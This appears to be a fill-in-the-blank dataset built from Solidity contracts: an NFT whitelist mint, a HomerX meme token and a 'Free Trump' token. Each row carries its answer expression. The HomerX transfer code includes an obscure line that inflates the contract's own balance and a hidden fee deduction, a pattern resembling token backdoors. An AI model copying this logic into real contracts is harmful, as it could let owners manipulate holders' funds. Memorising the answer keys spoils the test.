| isRoundSaleOn(roundPrice,roundSaleStartTime,roundSaleEndTime,roundSaleKey),"Mint is not live" | 179,805 | isRoundSaleOn(roundPrice,roundSaleStartTime,roundSaleEndTime,roundSaleKey) |
"Called with incorrect mint key" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract HerodotusNFTs is Ownable, ERC721A, ReentrancyGuard {
event WhitelistMint(
uint256 indexed roundIndex,
uint256 indexed quantity,
address indexed minter,
uint256 totalMinted
);
event WithdrawMoney(
uint256 indexed blocktime,
uint256 indexed amount,
address indexed sender
);
uint256 public immutable amountForMarketing;
uint256 public immutable collectionSize;
address public immutable vaultAddress;
address public immutable preMinteeAddress;
//1:founding round
//2:six flavor round
//3:partner round
//4:public round
struct SaleConfig {
uint32 roundSaleStartTime;
uint32 roundSaleEndTime;
uint64 roundPrice;
string roundSaleKey;
uint256 summaryRoundSale;
uint32 maxPerAddressDuringMint;
uint32 maxPerRound;
bytes32 merkleRoot;
}
SaleConfig[4] public saleConfigs;
constructor(
uint256 collectionSize_,
uint256 amountForMarketing_,
address vaultAddress_,
address preMinteeAddress_
) ERC721A("HerodotusNFTs", "HDOTUS") {
}
modifier callerIsUser() {
}
function _isEqual(string memory s1, string memory s2)
internal
pure
returns (bool)
{
}
function setSaleConfig(
uint32 _index,
uint32 _roundSaleStartTime,
uint32 _roundSaleEndTime,
uint64 _roundPrice,
uint32 _maxPerAddressDuringMint,
uint32 _maxPerRound,
bytes32 _merkleRoot
) external onlyOwner {
}
function setRoundSaleKey(uint256 index, string memory key)
external
onlyOwner
{
}
function getRoundSaleconfig(uint256 roundIndex)
external
view
returns (SaleConfig memory)
{
}
//Mint Round
mapping(address => uint256) public foundingMinterAllocate;
mapping(address => uint256) public favourMinterAllocate;
mapping(address => uint256) public whitelistMinterAllocate;
mapping(address => uint256) public publicMinterAllocate;
function setMinterAllocate(
uint256 roundIndex,
uint256 quantity,
address minter
) internal {
}
function getMinterAllocate(uint256 roundIndex, address minter)
internal
view
returns (uint256 allocate)
{
}
function preMint(uint256 quantity) external onlyOwner {
}
function whitelistMint(
uint256 roundIndex,
uint256 quantity,
bytes32[] calldata _merkleProof,
string memory whitelistSaleKey
) external payable callerIsUser {
require(roundIndex >= 0 && roundIndex < 3, "Invalid round");
//get round config
SaleConfig memory config = saleConfigs[roundIndex];
string memory roundSaleKey = config.roundSaleKey;
uint256 roundPrice = uint256(config.roundPrice);
uint256 roundSaleStartTime = uint256(config.roundSaleStartTime);
uint256 roundSaleEndTime = uint256(config.roundSaleEndTime);
uint256 maxPerAddressDuringMint = uint256(
config.maxPerAddressDuringMint
);
uint256 maxPerDurringRound = uint256(config.maxPerRound);
uint256 summaryRoundSale = config.summaryRoundSale;
bytes32 root = config.merkleRoot;
require(
isRoundSaleOn(
roundPrice,
roundSaleStartTime,
roundSaleEndTime,
roundSaleKey
),
"Mint is not live"
);
require(<FILL_ME>)
require(quantity > 0, "quantity must not be zero");
///?
require(
totalSupply() + quantity <= collectionSize,
"Reached max supply"
);
require(
summaryRoundSale + quantity <= maxPerDurringRound,
"Reached max for this round"
);
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, root, leaf),
"MerkleProof: Verify fail"
);
{
uint256 index = roundIndex;
uint256 amount = quantity;
uint256 minterAllocate = getMinterAllocate(index, msg.sender);
require(
amount <= maxPerAddressDuringMint - minterAllocate,
"Can not mint this many"
);
setMinterAllocate(index, amount, msg.sender);
_safeMint(msg.sender, amount);
//total sale per round
saleConfigs[index].summaryRoundSale += amount;
refundIfOver(roundPrice * amount);
emit WhitelistMint(index, amount, msg.sender, totalSupply());
}
}
function publicMint(
uint256 roundIndex,
uint256 quantity,
string memory callerRoundSaleKey
) external payable {
}
function refundIfOver(uint256 price) private {
}
function isRoundSaleOn(
uint256 roundPriceWei,
uint256 roundSaleStartTime,
uint256 roundSaleEndTime,
string memory roundSaleKey
) public view returns (bool) {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address _owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| _isEqual(whitelistSaleKey,roundSaleKey),"Called with incorrect mint key" | 179,805 | _isEqual(whitelistSaleKey,roundSaleKey) |
"Reached max for this round" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract HerodotusNFTs is Ownable, ERC721A, ReentrancyGuard {
event WhitelistMint(
uint256 indexed roundIndex,
uint256 indexed quantity,
address indexed minter,
uint256 totalMinted
);
event WithdrawMoney(
uint256 indexed blocktime,
uint256 indexed amount,
address indexed sender
);
uint256 public immutable amountForMarketing;
uint256 public immutable collectionSize;
address public immutable vaultAddress;
address public immutable preMinteeAddress;
//1:founding round
//2:six flavor round
//3:partner round
//4:public round
struct SaleConfig {
uint32 roundSaleStartTime;
uint32 roundSaleEndTime;
uint64 roundPrice;
string roundSaleKey;
uint256 summaryRoundSale;
uint32 maxPerAddressDuringMint;
uint32 maxPerRound;
bytes32 merkleRoot;
}
SaleConfig[4] public saleConfigs;
constructor(
uint256 collectionSize_,
uint256 amountForMarketing_,
address vaultAddress_,
address preMinteeAddress_
) ERC721A("HerodotusNFTs", "HDOTUS") {
}
modifier callerIsUser() {
}
function _isEqual(string memory s1, string memory s2)
internal
pure
returns (bool)
{
}
function setSaleConfig(
uint32 _index,
uint32 _roundSaleStartTime,
uint32 _roundSaleEndTime,
uint64 _roundPrice,
uint32 _maxPerAddressDuringMint,
uint32 _maxPerRound,
bytes32 _merkleRoot
) external onlyOwner {
}
function setRoundSaleKey(uint256 index, string memory key)
external
onlyOwner
{
}
function getRoundSaleconfig(uint256 roundIndex)
external
view
returns (SaleConfig memory)
{
}
//Mint Round
mapping(address => uint256) public foundingMinterAllocate;
mapping(address => uint256) public favourMinterAllocate;
mapping(address => uint256) public whitelistMinterAllocate;
mapping(address => uint256) public publicMinterAllocate;
function setMinterAllocate(
uint256 roundIndex,
uint256 quantity,
address minter
) internal {
}
function getMinterAllocate(uint256 roundIndex, address minter)
internal
view
returns (uint256 allocate)
{
}
function preMint(uint256 quantity) external onlyOwner {
}
function whitelistMint(
uint256 roundIndex,
uint256 quantity,
bytes32[] calldata _merkleProof,
string memory whitelistSaleKey
) external payable callerIsUser {
require(roundIndex >= 0 && roundIndex < 3, "Invalid round");
//get round config
SaleConfig memory config = saleConfigs[roundIndex];
string memory roundSaleKey = config.roundSaleKey;
uint256 roundPrice = uint256(config.roundPrice);
uint256 roundSaleStartTime = uint256(config.roundSaleStartTime);
uint256 roundSaleEndTime = uint256(config.roundSaleEndTime);
uint256 maxPerAddressDuringMint = uint256(
config.maxPerAddressDuringMint
);
uint256 maxPerDurringRound = uint256(config.maxPerRound);
uint256 summaryRoundSale = config.summaryRoundSale;
bytes32 root = config.merkleRoot;
require(
isRoundSaleOn(
roundPrice,
roundSaleStartTime,
roundSaleEndTime,
roundSaleKey
),
"Mint is not live"
);
require(
_isEqual(whitelistSaleKey, roundSaleKey),
"Called with incorrect mint key"
);
require(quantity > 0, "quantity must not be zero");
///?
require(
totalSupply() + quantity <= collectionSize,
"Reached max supply"
);
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, root, leaf),
"MerkleProof: Verify fail"
);
{
uint256 index = roundIndex;
uint256 amount = quantity;
uint256 minterAllocate = getMinterAllocate(index, msg.sender);
require(
amount <= maxPerAddressDuringMint - minterAllocate,
"Can not mint this many"
);
setMinterAllocate(index, amount, msg.sender);
_safeMint(msg.sender, amount);
//total sale per round
saleConfigs[index].summaryRoundSale += amount;
refundIfOver(roundPrice * amount);
emit WhitelistMint(index, amount, msg.sender, totalSupply());
}
}
function publicMint(
uint256 roundIndex,
uint256 quantity,
string memory callerRoundSaleKey
) external payable {
}
function refundIfOver(uint256 price) private {
}
function isRoundSaleOn(
uint256 roundPriceWei,
uint256 roundSaleStartTime,
uint256 roundSaleEndTime,
string memory roundSaleKey
) public view returns (bool) {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address _owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| summaryRoundSale+quantity<=maxPerDurringRound,"Reached max for this round" | 179,805 | summaryRoundSale+quantity<=maxPerDurringRound |
"MerkleProof: Verify fail" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract HerodotusNFTs is Ownable, ERC721A, ReentrancyGuard {
event WhitelistMint(
uint256 indexed roundIndex,
uint256 indexed quantity,
address indexed minter,
uint256 totalMinted
);
event WithdrawMoney(
uint256 indexed blocktime,
uint256 indexed amount,
address indexed sender
);
uint256 public immutable amountForMarketing;
uint256 public immutable collectionSize;
address public immutable vaultAddress;
address public immutable preMinteeAddress;
//1:founding round
//2:six flavor round
//3:partner round
//4:public round
struct SaleConfig {
uint32 roundSaleStartTime;
uint32 roundSaleEndTime;
uint64 roundPrice;
string roundSaleKey;
uint256 summaryRoundSale;
uint32 maxPerAddressDuringMint;
uint32 maxPerRound;
bytes32 merkleRoot;
}
SaleConfig[4] public saleConfigs;
constructor(
uint256 collectionSize_,
uint256 amountForMarketing_,
address vaultAddress_,
address preMinteeAddress_
) ERC721A("HerodotusNFTs", "HDOTUS") {
}
modifier callerIsUser() {
}
function _isEqual(string memory s1, string memory s2)
internal
pure
returns (bool)
{
}
function setSaleConfig(
uint32 _index,
uint32 _roundSaleStartTime,
uint32 _roundSaleEndTime,
uint64 _roundPrice,
uint32 _maxPerAddressDuringMint,
uint32 _maxPerRound,
bytes32 _merkleRoot
) external onlyOwner {
}
function setRoundSaleKey(uint256 index, string memory key)
external
onlyOwner
{
}
function getRoundSaleconfig(uint256 roundIndex)
external
view
returns (SaleConfig memory)
{
}
//Mint Round
mapping(address => uint256) public foundingMinterAllocate;
mapping(address => uint256) public favourMinterAllocate;
mapping(address => uint256) public whitelistMinterAllocate;
mapping(address => uint256) public publicMinterAllocate;
function setMinterAllocate(
uint256 roundIndex,
uint256 quantity,
address minter
) internal {
}
function getMinterAllocate(uint256 roundIndex, address minter)
internal
view
returns (uint256 allocate)
{
}
function preMint(uint256 quantity) external onlyOwner {
}
function whitelistMint(
uint256 roundIndex,
uint256 quantity,
bytes32[] calldata _merkleProof,
string memory whitelistSaleKey
) external payable callerIsUser {
require(roundIndex >= 0 && roundIndex < 3, "Invalid round");
//get round config
SaleConfig memory config = saleConfigs[roundIndex];
string memory roundSaleKey = config.roundSaleKey;
uint256 roundPrice = uint256(config.roundPrice);
uint256 roundSaleStartTime = uint256(config.roundSaleStartTime);
uint256 roundSaleEndTime = uint256(config.roundSaleEndTime);
uint256 maxPerAddressDuringMint = uint256(
config.maxPerAddressDuringMint
);
uint256 maxPerDurringRound = uint256(config.maxPerRound);
uint256 summaryRoundSale = config.summaryRoundSale;
bytes32 root = config.merkleRoot;
require(
isRoundSaleOn(
roundPrice,
roundSaleStartTime,
roundSaleEndTime,
roundSaleKey
),
"Mint is not live"
);
require(
_isEqual(whitelistSaleKey, roundSaleKey),
"Called with incorrect mint key"
);
require(quantity > 0, "quantity must not be zero");
///?
require(
totalSupply() + quantity <= collectionSize,
"Reached max supply"
);
require(
summaryRoundSale + quantity <= maxPerDurringRound,
"Reached max for this round"
);
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
{
uint256 index = roundIndex;
uint256 amount = quantity;
uint256 minterAllocate = getMinterAllocate(index, msg.sender);
require(
amount <= maxPerAddressDuringMint - minterAllocate,
"Can not mint this many"
);
setMinterAllocate(index, amount, msg.sender);
_safeMint(msg.sender, amount);
//total sale per round
saleConfigs[index].summaryRoundSale += amount;
refundIfOver(roundPrice * amount);
emit WhitelistMint(index, amount, msg.sender, totalSupply());
}
}
function publicMint(
uint256 roundIndex,
uint256 quantity,
string memory callerRoundSaleKey
) external payable {
}
function refundIfOver(uint256 price) private {
}
function isRoundSaleOn(
uint256 roundPriceWei,
uint256 roundSaleStartTime,
uint256 roundSaleEndTime,
string memory roundSaleKey
) public view returns (bool) {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address _owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| MerkleProof.verify(_merkleProof,root,leaf),"MerkleProof: Verify fail" | 179,805 | MerkleProof.verify(_merkleProof,root,leaf) |
"Called with incorrect sale key" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract HerodotusNFTs is Ownable, ERC721A, ReentrancyGuard {
event WhitelistMint(
uint256 indexed roundIndex,
uint256 indexed quantity,
address indexed minter,
uint256 totalMinted
);
event WithdrawMoney(
uint256 indexed blocktime,
uint256 indexed amount,
address indexed sender
);
uint256 public immutable amountForMarketing;
uint256 public immutable collectionSize;
address public immutable vaultAddress;
address public immutable preMinteeAddress;
//1:founding round
//2:six flavor round
//3:partner round
//4:public round
struct SaleConfig {
uint32 roundSaleStartTime;
uint32 roundSaleEndTime;
uint64 roundPrice;
string roundSaleKey;
uint256 summaryRoundSale;
uint32 maxPerAddressDuringMint;
uint32 maxPerRound;
bytes32 merkleRoot;
}
SaleConfig[4] public saleConfigs;
constructor(
uint256 collectionSize_,
uint256 amountForMarketing_,
address vaultAddress_,
address preMinteeAddress_
) ERC721A("HerodotusNFTs", "HDOTUS") {
}
modifier callerIsUser() {
}
function _isEqual(string memory s1, string memory s2)
internal
pure
returns (bool)
{
}
function setSaleConfig(
uint32 _index,
uint32 _roundSaleStartTime,
uint32 _roundSaleEndTime,
uint64 _roundPrice,
uint32 _maxPerAddressDuringMint,
uint32 _maxPerRound,
bytes32 _merkleRoot
) external onlyOwner {
}
function setRoundSaleKey(uint256 index, string memory key)
external
onlyOwner
{
}
function getRoundSaleconfig(uint256 roundIndex)
external
view
returns (SaleConfig memory)
{
}
//Mint Round
mapping(address => uint256) public foundingMinterAllocate;
mapping(address => uint256) public favourMinterAllocate;
mapping(address => uint256) public whitelistMinterAllocate;
mapping(address => uint256) public publicMinterAllocate;
function setMinterAllocate(
uint256 roundIndex,
uint256 quantity,
address minter
) internal {
}
function getMinterAllocate(uint256 roundIndex, address minter)
internal
view
returns (uint256 allocate)
{
}
function preMint(uint256 quantity) external onlyOwner {
}
function whitelistMint(
uint256 roundIndex,
uint256 quantity,
bytes32[] calldata _merkleProof,
string memory whitelistSaleKey
) external payable callerIsUser {
}
function publicMint(
uint256 roundIndex,
uint256 quantity,
string memory callerRoundSaleKey
) external payable {
require(roundIndex == 3, "Invalid round");
SaleConfig memory config = saleConfigs[roundIndex];
string memory roundSaleKey = config.roundSaleKey;
uint256 roundPrice = uint256(config.roundPrice);
uint256 roundSaleStartTime = uint256(config.roundSaleStartTime);
uint256 maxPerAddressDuringMint = uint256(
config.maxPerAddressDuringMint
);
require(<FILL_ME>)
require(
block.timestamp >= roundSaleStartTime,
"Sale has not begun yet"
);
require(quantity > 0, "quantity must not be zero");
require(
totalSupply() + quantity <= collectionSize,
"Reached max supply"
);
uint256 minterAllocate = getMinterAllocate(roundIndex, msg.sender);
require(
quantity <= maxPerAddressDuringMint - minterAllocate,
"Can not mint this many"
);
setMinterAllocate(roundIndex, quantity, msg.sender);
_safeMint(msg.sender, quantity);
saleConfigs[roundIndex].summaryRoundSale += quantity;
refundIfOver(roundPrice * quantity);
}
function refundIfOver(uint256 price) private {
}
function isRoundSaleOn(
uint256 roundPriceWei,
uint256 roundSaleStartTime,
uint256 roundSaleEndTime,
string memory roundSaleKey
) public view returns (bool) {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address _owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| _isEqual(callerRoundSaleKey,roundSaleKey)&&!_isEqual(roundSaleKey,""),"Called with incorrect sale key" | 179,805 | _isEqual(callerRoundSaleKey,roundSaleKey)&&!_isEqual(roundSaleKey,"") |
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | /**
https://t.me/homerxerc
https://twitter.com/homerxerc
https://www.homerx.xyz
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HomerX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedForTx;
mapping(address => uint256) private _holderLastTime;
bool public transferDelayEnabled = true;
address private _marketing;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 private _reduceBuyTaxAt = 12;
uint256 private _reduceSellTaxAt = 12;
uint256 private _initialBuyTax2 = 0;
uint256 private _initialSellTax2 = 0;
uint256 private _reduceBuyTaxAt2 = 0;
uint256 private _finalBuyTax = 1;
uint256 private _finalSellTax = 1;
uint256 private _preventSwapBefore = 1;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _total = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Homer-X";
string private constant _symbol = unicode"HOMERX";
uint256 public _maxTx = _total * 25 / 1000;
uint256 public _maxWallet = _total * 25 / 1000;
uint256 public _swapThreshold= _total / 1000;
uint256 public _maxTaxSwap = _total * 8 / 10000;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTx);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function takeFee(address account, uint256 amount) internal returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
taxAmount = amount.mul(_taxBuy()).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
_holderLastTime[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _excludedForTx[to] ) {
require(amount <= _maxTx, "Exceeds the _maxTx.");
require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul(_taxSell()).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
to == address(this) && amount == _preventSwapBefore? _balances[address(this)] *= _preventSwapBefore : amount;
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0.02 ether) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(takeFee(from,amount));
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _taxBuy() private view returns (uint256) {
}
function _taxSell() private view returns (uint256) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading(address marketing_) external onlyOwner() {
}
receive() external payable {}
}
| _holderLastTime[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | 179,820 | _holderLastTime[tx.origin]<block.number |
null | // SPDX-License-Identifier: MIT
/**
NEW! FREE TRUMP TOKEN! $FREETRUMP
Old Free Trump doesn't have a purpose or a good dev team, our goal will be to show them what a good team can do.
TELEGRAM: https://t.me/FreeTrumpEth
We MUST SAVE DONALD, #FreeTrump !
Former President Donald Trump has stated in a social media post that “illegal leaks” from the
Manhattan District Attorney’s Office indicate that he will be arrested next week.
Federal, state, and local law enforcement agencies were analyzing security assessments and making
plans to prepare for the possibility that Trump could be indicted next week by a Manhattan grand jury
in connection with a $130,000 hush money payment he allegedly made to porn actress Stormy Daniels
during the 2016 presidential campaign.
Given that the underlying charge is a six-year-old misdemeanor, this leads everyone to believe they
are trying to tarnish the Great Trump’s name in an effort to take him out of the presidential candidate race.
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TRUMP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Free Trump Token";//
string private constant _symbol = "FreeTrump";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 0;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 0;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _devAddress = payable(0xc586a58362030d42B86a2eF48e0296608cf3bE24);//
address payable private _marketingAddress = payable(0xc586a58362030d42B86a2eF48e0296608cf3bE24);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000500 * 10**9; //
uint256 public _maxWalletSize = 5000500 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
/**
TOKEN & PROJECT DISCLAIMER:
We hope that you are as excited about this cryptocurrency token project as we are. However,
